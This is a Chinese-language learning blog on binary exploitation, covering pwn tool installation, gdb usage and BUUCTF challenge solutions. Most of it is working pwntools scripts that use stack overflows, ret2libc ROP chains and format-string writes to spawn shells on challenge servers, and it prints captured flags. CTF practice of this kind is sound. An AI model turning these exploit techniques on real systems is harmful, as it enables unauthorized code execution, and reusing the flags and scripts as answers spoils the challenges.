pwn学习

之前写的一个文章,相当于初步认识pwn吧。做做pwn题,当当pwn爷爷,哈哈哈,这个文章里面就记录一些pwn的环境搭建和一些命令,加上pwn做题记录吧。

环境搭建

kali2020执行这些命令就行了。命令来源
https://blog.csdn.net/Cony_14/article/details/109208558

1.安装pwntools

apt-get update
apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools

//使用方法
ROPgadget --binary ciscn_2019_c_1 --only "pop|ret"

2.安装checksec

git clone https://github.com/slimm609/checksec.sh.git
cd checksec.sh
sudo cp checksec /usr/bin/checksec

//使用方法
checksec --file=filename

3.安装pwndbg

git clone https://github.com/pwndbg/pwndbg
 cd pwndbg
sudo ./setup.sh

4.安装ROPGadget

sudo pip install capstone
git clone https://github.com/JonathanSalwan/ROPgadget.git
cd ROPgadget
sudo python3 setup.py install

5.安装LibcSearcher

git clone https://github.com/lieanu/LibcSearcher.git
cd LibcSearcher
sudo python3 setup.py develop

6.安装32位libc,方便运行32位程序

sudo dpkg --add-architecture i386
sudo apt-get update
sudo apt-get install libc6:i386
sudo apt-get install libgtk2.0-0:i386

如果觉得kali里面的安装包下载的慢,也可以直接在windows上下载好了复制过去。

pwndbg的使用

常用命令https://www.cnblogs.com/zhwer/p/12494317.html

到达设定的断点

c

步过

n

步入

s

查看栈空间

stack 大小

用gdb查看内存

格式: x /nfu 地址

说明
x 是 examine 的缩写

n表示要显示的内存单元的个数

f表示显示方式, 可取如下值
x 按十六进制格式显示变量。
d 按十进制格式显示变量。
u 按十进制格式显示无符号整型。
o 按八进制格式显示变量。
t 按二进制格式显示变量。
a 按十六进制格式显示变量。
i 指令地址格式
c 按字符格式显示变量。
f 按浮点数格式显示变量。

u表示一个地址单元的长度
b表示单字节,
h表示双字节,
w表示四字节,
g表示八字节

遇到的报错,坑

ROPGadget报错

https://blog.csdn.net/yongbaoii/article/details/109098446

buucrf刷题记录

test_your_nc

就连接到端口就给flag

nc 域名 端口号

rip

考点,栈溢出

然后初略画一个栈图

exp

from pwn import *

p = remote("node3.buuoj.cn","25728")//连接到题目端口,连接到本地用process
payload = b'a' * (15+8) + p64(0x401186+1)
p.sendline(payload)
p.interactive()//打开交互界面。

得到flag

warmup_csaw_2016

考点,栈溢出

exp

from pwn import *

p = remote("node3.buuoj.cn","25681")
payload = b'a' * (0x40+8) + p64(0x40060D)
p.sendline(payload)
p.interactive() 

getflag

ciscn_2019_n_1

考点,修改某一变量的数据,还有float型变量在内存中的形式,实际上这个直接可以在ida里面看到,是41348000h

exp

from pwn import *

p = remote("node3.buuoj.cn","25437")
payload = b'a' * (0x30-4) + p64(0x41348000)
p.sendline(payload)
p.interactive() 

getflag

pwn1_sctf_2016

一个strcpy的溢出,虽然get规定了字节数,但是replace可以替代I为you,一个字节变3个字节,从而溢出


exp

#! /usr/bin/python3
from pwn import *

#io = process('pwn1_sctf_2016')
io=remote("node3.buuoj.cn",'27656')
#gdb.attach(io,'b *0x080492BF')

payload = b'I'*20+b'A'*4+ p32(0x08048F0D)
io.sendline(payload)

io.interactive()

getflag

jarvisoj_level0

read函数溢出

exp

#! /usr/bin/python3
from pwn import *

#io = process('pwn1_sctf_2016')
io=remote("node3.buuoj.cn",'25647')

payload = b'a'*0x80 +b'a'*8 + p64(0x0400596)
io.sendline(payload)

io.interactive()

flag

flag{0fba0969-32cb-4d74-8509-803551ddb087}

ciscn_2019_c_1

这道题就是在告诉你没有后门函数的时候,怎么调用libc中的system。

还是先来看漏洞点

然后我们需要得到libc的版本,要用到这两个库

ROPgadget,用来构建rop链的。

ROPgadget --binary ciscn_2019_c_1 --only "pop|ret"

可以得到

另一个就是,LibcSearcher,可以自动得到libc的版本信息,但是有时候会失效,所以可以去这个网站找https://libc.blukat.me/,只需要输入你的函数,got表函数地址后3位(16进制下的函数地址)。

下面我们动调来看看exp的大概含义

exp

from pwn import *
from LibcSearcher import *

#这个应该是看调试信息的,没有也问题不大
#context.os='linux'
#context.arch='amd64'
#context.log_level='debug'

#将常用的函数定义一下
ru=lambda x:io.recvuntil(x)
rl=lambda :io.recvline()
sla=lambda x,y:io.sendlineafter(x,y)

#io=remote('node3.buuoj.cn',29235)
io = process('./ciscn_2019_c_1')
elf=ELF('./ciscn_2019_c_1')
gdb.attach(io,'b *0x000400AEE')

ret=0x4006b9
pop_rdi=0x400c83
main=elf.sym['main']
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

sla('choice!\n','1')
payload=b'\0'+b'a'*(0x50-1+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)  //构建的一个链,用puts函数打印出,got表中puts函数的地址,并且回到main函数
sla('encrypted\n',payload)
rl()
rl()
puts=u64(ru(b'\n')[:-1].ljust(8,b'\0'))//打包,得到got表的puts函数地址
print(puts)
#libc=LibcSearcher('puts',puts)   //通过puts函数地址来获取libc版本,本地的libc这个函数搜不到,远程端口的libc可以搜到

#下面的函数偏移地址都是通过网站得到的。
libc_addr=puts-0x0765f0
binsh=libc_addr+0x18a156
system=libc_addr+0x048e50
sla('choice!\n','1')
payload=b'\0'+b'a'*(0x50-1+8)+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)//调用system函数,getshell
sla('encrypted\n',payload)

io.interactive()

下面看看gdb里面构造的两个playload长什么样

构造的第一个栈结构,最好是自己画一下,然后想一想每一步怎么走。

第二个

然后端口题也差不多,而且还可以用LibcSearcher(‘puts’,puts)直接获得libc版本,然后用下面的方式来得到想要的地址

libc=LibcSearcher('puts',puts)
libc_addr=puts-libc.dump('puts')
binsh=libc_addr+libc.dump('str_bin_sh')
system=libc_addr+libc.dump('system')

[第五空间2019 决赛]PWN5

考点,格式化字符串漏洞,详讲https://blog.csdn.net/qq_43394612/article/details/84900668

分析

首先我们需要知道这个buf在在栈中的位置,和偏移量

然后就可以变量dword_804C044的值了,通过%n来修改这个变量的值了

p32(0x804C044)+b'%10$n'//这里我的理解是,%10$就是0x804C044这个地址作为了参数,然后前面就是'\x44\xc0\x4c\x80'4个字符,通过%n将4这个值给了0x804C044这个地址

exp1

#! /usr/bin/python3
from pwn import *

io = process('./pwn')
#io=remote("node3.buuoj.cn",'28200')
#gdb.attach(io,'b *0x080492B2')

playload=p32(0x804C044)+b'%10$n'
io.sendline(playload)
io.recvuntil("passwd:")
io.sendline(b'4')

io.interactive()

还看到一个有趣的exp2,它是一个一个字节给的值。

from pwn import *

io=process('./pwn')
#io=remote('node3.buuoj.cn',28200)

addr=0x0804C044

payload+=p32(addr)+p32(addr+1)+p32(addr+2)+p32(addr+3) + b'%10$hhn%11$hhn%12$hhn%13$hhn'
io.sendline(payload)
payload=str(0x10101010)
io.sendline(payload)

io.interactive()

getflag

[OGeek2019]babyrop

简单的strncmp绕过,然后溢出函数返回地址,构建rop链来获得libc库里面的system函数,然后再次溢出函数返回地址调用system函数。

先看ida

漏洞函数

大概思路就和ciscn_2019_c_1差不多了,只不过这个是32位的,构造rop链的时候不一样

exp

from pwn import *
from LibcSearcher import *

#context.os='linux'
#context.arch='amd64'
#context.log_level='debug'

ru=lambda x:io.recvuntil(x)
rl=lambda :io.recvline()
sla=lambda x,y:io.sendlineafter(x,y)

io=remote('node3.buuoj.cn',25852)
#io = process('./pwn')
elf=ELF('./pwn')

main=0x08048825
write_plt=elf.plt['write']
write_got=elf.got['write']

#绕过strncmp
playload=b'\x00'+b'\xff'*10
io.sendline(playload)

#构造rop链,打印write地址,然后返回主函数,p32(0x1) + p32(write_got) + p32(0x4)这3个是write的参数。
io.recvuntil("Correct\n")
playload=b'a'*(0xe7+4) + p32(write_plt) + p32(main) + p32(0x1) + p32(write_got) + p32(0x4)
io.sendline(playload)

write=u32(io.recv(4))
print(hex(write))
libc=LibcSearcher('write',write)
libc_addr=write-libc.dump('write')
system=libc_addr+libc.dump('system')
binsh=libc_addr+libc.dump('str_bin_sh')

#这个是我在本地的。
#libc_addr=write-0x0f2010
#system=libc_addr+0x045040
#binsh=libc_addr+0x18c33c

playload=b'\x00'+b'\xff'*10
io.sendline(playload)

#p32(0x0),这个起一个填充作用
io.recvuntil("Correct\n")
playload=b'a'*(0xe7+4) + p32(system) + p32(0x0) + p32(binsh)
io.sendline(playload)

io.interactive()

调试一下,调试的本地的。

第一个rop链

第二个

getflag

get_started_3dsctf_2016

get函数溢出,然后进入get_flag函数,根据构建的参数绕过if判断。

先分析

打本地时先建一个flag文件夹,然后就有个坑,我以为get_flag函数后面可以随便跟一个地址,结果一直不对,看了wp后,发现这个地址必须是exit地址,不然回显。

exp

from pwn import *
context.log_level = 'debug'
#io = process('./pwn')
io=remote("node3.buuoj.cn",'28627')
#gdb.attach(io,'b *0x08048A40')
exit_addr=0x0804E6A0

playload=b'a'*0x38 + p32(0x080489A0) + p32(exit_addr) + p32(0x308CD64F) + p32(0x195719D1)
io.sendline(playload)


io.interactive()

getflag

然后其他师傅,还有一种方法,暂时没看懂。

ciscn_2019_n_8

输入数据,确保var[13]==0x11就行,注意var是一个DWORD型的数组

exp

from pwn import *

#context.log_level = 'debug'

#io = process('./pwn')
io=remote("node3.buuoj.cn",'28623')

playload=p32(0x61)*13+p32(0x11)
io.sendline(playload)

io.interactive()

getflag

flag{2979ebe4-ad0f-474a-a64c-340b7c2674ad}

ciscn_2019_en_2

和前面一道题是一样的

exp

from pwn import *
from LibcSearcher import *

ru=lambda x:io.recvuntil(x)
rl=lambda :io.recvline()
sla=lambda x,y:io.sendlineafter(x,y)

io=remote('node3.buuoj.cn',29438)
#io = process('./ciscn_2019_en_2')
elf=ELF('./ciscn_2019_en_2')
#gdb.attach(io,'b *0x000400AEE')

ret=0x4006b9
pop_rdi=0x400c83
main=elf.sym['main']
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

sla('choice!\n','1')
payload=b'\0'+b'a'*(0x50-1+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main) 
sla('encrypted\n',payload)
rl()
rl()
puts=u64(ru(b'\n')[:-1].ljust(8,b'\0'))
libc=LibcSearcher('puts',puts) 
libc_addr=puts-libc.dump('puts')
binsh=libc_addr+libc.dump('str_bin_sh')
system=libc_addr+libc.dump('system')
sla('choice!\n','1')
payload=b'\0'+b'a'*(0x50-1+8)+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
sla('encrypted\n',payload)

io.interactive()

getflag

flag{34ec96ce-e880-47de-ae14-49f7e3d34c5a}

jarvisoj_level2

这道题就是调用system函数,参数’/bin/sh’在date区。

所以说我的exp中p32(0x0804849E)后面直接跟的参数

exp

from pwn import *

#context.log_level = 'debug'

#io = process('./level2')
io=remote("node3.buuoj.cn",'29517')
#gdb.attach(io,'b *0x0804847F')

playload=b'a'*(0x88+4) + p32(0x0804849E) + p32(0x0804A024)
io.sendline(playload)

io.interactive()

网上的exp,可以看到如果直接调用system函数地址,中间是需要4个字节来填充一下,说明ret时,esp+4了。

from pwn import*

elf=ELF("level2")
#a=remote("pwn2.jarvisoj.com","9878")

a.recvuntil("Input:\n")
#system_addr=elf.symbols["system"]
#shell_addr=next(elf.search("/bin/sh"))

payload='A'*140+p32(0x08048320)+p32(0x1)+p32(0x0804A024)
a.send(payload)

a.interactive()

getflag

flag{cb5545be-ed40-4a68-ac03-4528dca09de5}

not_the_same_3dsctf_2016

自己调用write函数,打印flag

rop链大概思路,溢出ret返回到get_secret,调用get_secret函数中的ret返回到write函数,后面的0是填充作用,然后后面p32(1) +p32(0x080ECA2D) +p32(0x2D)是参数。

playload=b'a'*0x2D + p32(0x080489A0) + p32(write) +p32(0x0)+ p32(1) +p32(0x080ECA2D) +p32(0x2D)

exp

from pwn import *

#context.log_level = 'debug'

#io = process('./pwn')
io=remote("node3.buuoj.cn",'27066')
#gdb.attach(io,'b *0x08048A00')

elf=ELF('./pwn')

main=0x080489E0
write=elf.sym['write']

playload=b'a'*0x2D + p32(0x080489A0) + p32(write) +p32(0x0)+ p32(1) +p32(0x080ECA2D) +p32(0x2D)
io.sendline(playload)

io.interactive()

getflag

flag{8801ef04-6fca-4c81-8063-c5e03ef5c50d}

bjdctf_2020_babystack

64位的栈溢出,调用system函数,注意传参用rdi就行

先ida看看结构

先用

ROPgadget --binary pwn --only "pop|ret"

exp

from pwn import*

elf=ELF("./pwn")
io=remote("node3.buuoj.cn","25471")
#io = process('./pwn')
#gdb.attach(io,'b*0x004007CB')

system_addr=elf.symbols["system"]
shell_addr=0x400858
ret_rdi=0x0400833

io.recvuntil("of your name:\n")
payload='55'
io.sendline(payload)

io.recvuntil("What's u name?\n")
payload=b'a'*(0x10+8) + p64(ret_rdi)+p64(shell_addr)+p64(system_addr)
io.sendline(payload)

io.interactive()

getflag

flag{35e5b20c-79cf-4654-8cb1-d7c2f615a364}

[HarekazeCTF2019]baby_rop

这个题和上一题差不多,只是flag在./home/babyrop里面

exp

from pwn import*

elf=ELF("./pwn")
io=remote("node3.buuoj.cn","26407")
#io = process('./pwn')
#gdb.attach(io,'b*0x004007CB')

system_addr=elf.symbols["system"]
shell_addr=0x0601048
ret_rdi=0x0400683

payload=b'a'*(0x10+8) + p64(ret_rdi)+p64(shell_addr)+p64(system_addr)
io.sendline(payload)

io.interactive()

getflag

flag{794d1e80-d3bf-4fa9-803c-f8b8212e2f8b}